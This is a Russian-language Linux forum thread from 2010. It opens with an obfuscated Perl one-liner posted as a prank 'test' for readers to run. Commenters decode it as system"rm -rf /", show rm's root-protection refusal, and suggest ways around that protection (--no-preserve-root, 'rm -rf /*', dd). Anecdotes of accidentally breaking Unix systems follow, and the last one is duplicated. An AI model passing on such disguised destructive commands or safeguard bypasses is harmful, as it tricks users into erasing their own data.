muhas 12.07.2010 10:22
Talks! — Что-то вспомнилось
1 |
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=>=>%-{<-|}<&|`{;;y; -/:-@<-`{-};`-{/" -;;s;;$_;see'
|
эдакий тест на кол-во полученных лулзов. аккордеон конечно, но лулзы ловятся до сих пор.
Shtsh 12.07.2010 10:36 #
+ 0 -
а оно разве будет работать без рутовских прав?
а чего же не будет-то. только куда доступа нет туда не полезит. а $HOME ди /mnt /media попадается
$ cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=>=>%-{<-|}<&|`{;;y; -/:-@<-`{-};`-{/" -;;s;;$_;see'
cat: test... test... test...: Нет такого файла или каталога
rm: опасно рекурсивно обрабатывать «/»
rm: используйте --no-preserve-root, чтобы отменить предупреждение об опасности
cat: test... test... test...: Нет такого файла или каталога
rm: опасно рекурсивно обрабатывать «/»
rm: используйте --no-preserve-root, чтобы отменить предупреждение об опасности
совсем ничего не снесло.
всё-равно cat "test... test... test..." для запутывания. rm -rf делает то что после конвеера
в последней версии rm есть автопроверка аргумента на корневой каталог. Сделай cd / && rm -rf *
используйте --no-preserve-root, чтобы отменить предупреждение об опасности
Параметр же специальный есть.
А ещё можно rm -rf /*
То есть, сначала командой $??s:;s:s;;$?::s;;=>=>%-{<-|}<&|`{; во временную переменную записывается текст =>=>%-{<-|}<&|`{, затем он транслитерируется (y; -/:-@<-`{-};`-{/" -;) и превращается в команду system"rm -rf /", смысл которой понятен даже людям, с Perl незнакомым. Далее эта команда отдается на исполнение интерпретатору (s;;$_;see). Скрипт использует ряд идиом Perl, усложняющих чтение исходного кода, но ему очень далеко до истинных шедевров в этой област
а вообще где-то в дебрях этой темы
Ну вот, всё наслаждение испортил. Я-то уже знаю расшифровку, хотелось посмотреть, как народ будет биться. :)
Эх. Твои бы слова да доброй половине людей из блога "Есть вопрос". ;)
дадада. надо предупреждение при создании поста в том блоге выводить =)
я обычно рекомендую dd или cat для убийства корня ну или initrd например.
Это скучно. Я как-то давно устроил себе классный квест - Хитрым макаром удалил из системы с помощью apt-get'а почти всё, включая apt-get и ядро. То, что висело в оперативке(брозёр и т.п.) ещё работало, но ничего нового я запустить уже не мог. Хорошо, что не ребутнулся. Потом в течении нескольких часов сначала выкачивал по одному пакетики wget'ом и ставил с помощью dpkg, чтобы восстановить apt-get, которым в свою очередь таки вылечил систему. Было весело.
Я ни разу не усомнился в ваших словах, но... Вы случайно "хитрым макаром" всё удалили?!!!
Уже точно не помню, но что-то я экспериментировал с apt-build, по-моему. Маны прочитал невнимательно, нарыл какую-то хавтушку в сети и решил перекомпилить себе всю систему(молодой был, необразованный). Вот оно взяло, все бинарники посносило, а что дальше делать - не сказало. :)
Я по молодости доигрался с фряхой до состояния при котором мир у меня был на 3 релиза старше ядра. А потом я сделал # cd /usr/src && make delete-old-libs весело ответил "yes" на все вопросы и получил систему с актуальными либами относительно версии ЯДРА и миром, который хотел старые либы. Вот тогда я прилично кирпичей наложил, осознав что даже cd не работает (формально, грохнулась даже оболочка). Правда там всё обошлось малой кровью. Скопировал библиотеки с рядом стоящей машины.
Да, тоже весело. :) У меня было похожее, но не так жестоко.
Как-то давно собирал какую-то софтинку из сырцов по схеме configure && make && make install(в портах её не было). Про checkinstall я тогда не знал. Ну и решил её удалить простым способом. Открыл Makefile, скопипастил раздел install и заменил все cp на rm -rf. Только вот не учёл, что в некоторых местах оно прямо директориями рулит... В общем, половины библиотек в системе как не бывало... К счастью, оно задело только /usr/local/lib и /usr/local/libexec. Полная пересборка portupgrade'ом спасла.
Как-то давно собирал какую-то софтинку из сырцов по схеме configure && make && make install(в портах её не было). Про checkinstall я тогда не знал. Ну и решил её удалить простым способом. Открыл Makefile, скопипастил раздел install и заменил все cp на rm -rf. Только вот не учёл, что в некоторых местах оно прямо директориями рулит... В общем, половины библиотек в системе как не бывало... К счастью, оно задело только /usr/local/lib и /usr/local/libexec. Полная пересборка portupgrade'ом спасла.